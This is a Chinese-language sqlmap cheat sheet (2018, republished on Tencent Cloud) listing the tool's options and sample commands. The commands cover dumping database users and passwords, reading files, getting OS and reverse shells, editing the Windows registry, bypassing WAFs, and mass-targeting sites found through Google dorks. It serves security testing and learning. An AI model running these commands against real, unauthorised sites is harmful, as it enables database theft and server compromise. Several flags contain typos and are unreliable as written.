SQLmap中文笔记重制版

本篇允许转载,但是需要写明出处。

2018/9/10 18:58

前言

本篇重制版制定于2018年9月9号,由笔者结合本分文献重编的SQLmap中文笔记,以提供大家更好更全面的学习注入工具SQLmap的使用。

关于注入的基础知识本篇不作讲解,本篇仅介绍SQLmap工具的使用。

编者水平有限(真的有限),本文难免有错误、欠缺,欢迎大家指正批评留言!

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQLServer, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

如何更新

可以点击https://github.com/sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。(这是linux版本的sqlmap)

也可以使用git来获取sqlmap:git clonehttps://github.com/sqlmapproject/sqlmap.git sqlmap-dev

之后可以直接使用命令来更新:python sqlmap.py --update

1

常使用参数集

-u #注入点

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2-p"page,id")

-D#指定数据库名

-T#指定表名

-C#指定字段

-s #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s xx.log"恢复:-s "xx.log" --resume)

-r #加载一个Http请求包的文件

-g(--gpage)#sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)(自己想办法翻墙)

-l , -m批量注入用法,该参数后面跟上文件

--param-del参数拆分字符,当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

--level=(1-5) #要执行的测试水平等级,默认为1

--risk=(0-3) #测试执行的风险等级,默认为1(共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。)

--string,--not-string,--regexp,--code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用--string参数添加字符串,--regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(--not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数--code=200。

--time-sec=(2,5) #延迟响应,默认为5

--data #通过POST发送数据

--columns #列出字段

--current-user #获取当前用户名称

--current-db #获取当前数据库名称

--users #列数据库所有用户

--passwords #数据库用户所有密码

--privileges #查看用户权限(--privileges -U root)

-U #指定数据库用户

--dbs #列出所有数据库

--tables -D"" #列出指定数据库中的表

--columns-T"user"-D"mysql" #列出mysql数据库中的user表的所有字段

--dump-al #列出所有数据库所有表

--exclude-sysdbs #只列出用户自己新建的数据库和表

--dump -T""-D""-C"" #列出指定数据库的表的字段的数据(--dump-T users -D master -Csurname)

--dump-T""-D""--start 2--top4 #列出指定数据库的表的2-4字段的数据

--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQLServer,MicrosoftAccess,SQLite,Firebird,Sybase,SAP MaxDB)

--os #指定系统(Linux,Windows)

-v #详细的等级(0-6):

:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

--privileges #查看权限

-b,--banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

--beep

发现sql注入时,发出蜂鸣声。

启发式检测WAF/IPS/IDS保护

参数:--check-waf

测试WAF/IPS/IDS保护

参数:--identify-waf

sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

--charset不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:--charset=GBK

--timeout可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

--retries当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

--is-dba #是否是数据库管理员

--roles #枚举数据库用户角色,当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。

--udf-inject #导入用户自定义函数(获取系统权限)

--union-check #是否支持union注入

--union-cols #union查询表记录

--union-test #union语句测试

--union-use #采用union注入

--union-tech orderby #union配合order by

--data"" #POST方式提交数据(--data"page=1&id=2")

--cookie"用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)(其他参数:--cookie,--load-cookies,--drop-set-cookie)

--scope(利用正则过滤目标网址:有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式:

1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。

2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。)

-p,--skip

sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如:-p "id,user-anget"

当你使用--level的值很大但是有个别参数不想测试的时候可以使用

--skip参数。

例如:--skip="user-angent.referer"

--skip-urlencode

根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用--skip-urlencode参数。

--user-agent"" #自定义user-agent,可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。

当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

--proxy"http://127.0.0.1:8118"#代理注入

--string="" #指定关键词,字符串匹配. --threads #采用多线程(--threads 3)

--sql-shell #执行指定sql命令

--sql-query #执行指定的sql语句(--sql-query "SELECT password FROMmysql.user WHEREuser = 'root' LIMIT 0, 1" )

--file-read #读取指定文件

--file-write #写入本地文件(--file-write/test/test.txt --file-dest/var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)

--file-dest #要写入的文件绝对路径

--os-cmd=id #执行系统命令

--os-shell #系统交互shell

--os-pwn #反弹shell(--os-pwn--msf-path=/opt/framework/msf3/)

--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)

--smart有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。

--reg-read #读取win系统注册表

--priv-esc #

--time-sec= #延迟设置默认

--time-sec=5为5秒

--eta #盲注

/pentest/database/sqlmap/txt/common-columns.txt字段字典(common-outputs.txtcommon-tables.txt表字典

keywords.txt

oracle-default-passwords.txt

user-agents.txt

wordlist.txt)

对Windows注册表操作

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。当然,当前连接数据库的用户也需要有权限操作注册表。

读取注册表值

参数:--reg-read

写入注册表值

参数:--reg-add

删除注册表值

参数:--reg-del

注册表辅助选项

爬行网站URL

参数:--crawl

sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。

例子:

$ python sqlmap.py -u"http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

规定输出到CSV中的分隔符

--csv-del当dump保存为CSV格式时(--dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的如:

2

部分实例语句

sqlmap -u "URL" --current-user #获取当前用户名称

sqlmap -u"URL" --current-db #获取当前数据库名称

sqlmap -u "URL" --tables -D "db_name" #列表名

sqlmap -u "URL" --columns-T "tablename" users-D "db_name" -v 0 #列字段

sqlmap -u"URL" --dump -C "column_name" -T "table_name"-D"db_name" -v 0 #获取字段内容

sqlmap -u"URL" --smart --level 3 --users # smart智能level执行测试等级sqlmap -u "URL" --dbms"Mysql" --users # dbms指定数据库类型

sqlmap -u "URL" --users #列数据库用户

sqlmap -u "URL" --dbs #列数据库

sqlmap -u"URL" --passwords #数据库用户密码

sqlmap -u"URL" --passwords-U root -v 0 #列出指定用户数据库密码

sqlmap -u "URL" --dump -C"password,user,id" -T"tablename" -D"db_name"--start 1 --stop 20 #列出指定字段,列出20条

sqlmap -u "URL" --dump-all-v 0 #列出所有数据库所有表

sqlmap -u"URL" --privileges #查看权限

sqlmap -u"URL" --privileges -Uroot #查看指定用户权限

sqlmap -u "URL" --is-dba-v 1 #是否是数据库管理员

sqlmap -u "URL" --roles #枚举数据库用户角色

sqlmap -u "URL" --udf-inject #导入用户自定义函数(获取系统权限!)sqlmap -u"URL" --dump-all

sqlmap -u"URL" --union-cols #union查询表记录

sqlmap -u "URL" --cookie"COOKIE_VALUE" #cookie注入sqlmap -u "URL" -b #获取banner信息

sqlmap -u "URL" --data"id=3" #post注入

sqlmap -u"URL" -v 1-f #指纹判别数据库类型

sqlmap-u"URL" --proxy"http://127.0.0.1:8118" #代理注入

sqlmap -u "URL" --string"STRING_ON_TRUE_PAGE" #指定关键词

sqlmap -u"URL" --sql-shell #执行指定sql命令

sqlmap -u "URL" --file/etc/passwd

sqlmap -u "URL" --os-cmd=whoami #执行系统命令

sqlmap -u"URL" --os-shell #系统交互shell

sqlmap -u "URL" --os-pwn #反弹shell

sqlmap -u "URL" --reg-read #读取win系统注册表

sqlmap -u "URL" --dbs-o"sqlmap.log" #保存进度

sqlmap -u"URL" --dbs -o "sqlmap.log" --resume #恢复已保存进度

sqlmap -g"google语法" --dump-all--batch #google搜索注入点自动跑出所有字段

./sqlmap.py -u “注入地址” -v 1 –dbs //列举数据库

./sqlmap.py -u “注入地址” -v 1 –current-db //当前数据库

./sqlmap.py -u “注入地址” -v 1 –users //列数据库用户

./sqlmap.py -u “注入地址” -v 1 –current-user //当前用户

./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库” //列举数据库的表名

./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库” //获取表的列名

./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库” //获取表中的数据,包含列

已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中哪里存在注入就加上*号(http头部的注入大多也可以直接在请求包中不同行末写上*来注入)

./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“

sqlmap编码绕waf注入

./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”

在sqlmap的tamper目录下有很多space2morehash.py编码脚本自行加载

参考链接:

1.中北大学网络安全空间社微信公众号:

2.SQLmap官网

3.Blog of Xiaoxi:

http://momomoxiaoxi.com/2016/01/06/sqlmap-help/(Xiaoxi此博客转自http://drops.wooyun.org/tips/143)(注:乌云网未复出无法访问)

4.曾是木土人:

http://www.cnblogs.com/hongfei/p/3872156.html

5.Youtube视频示范(是不是官方演示视频尚待考证):

http://www.youtube.com/user/inquisb/videos

  • 发表于:
  • 原文链接:https://kuaibao.qq.com/s/20180910G1N4VU00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券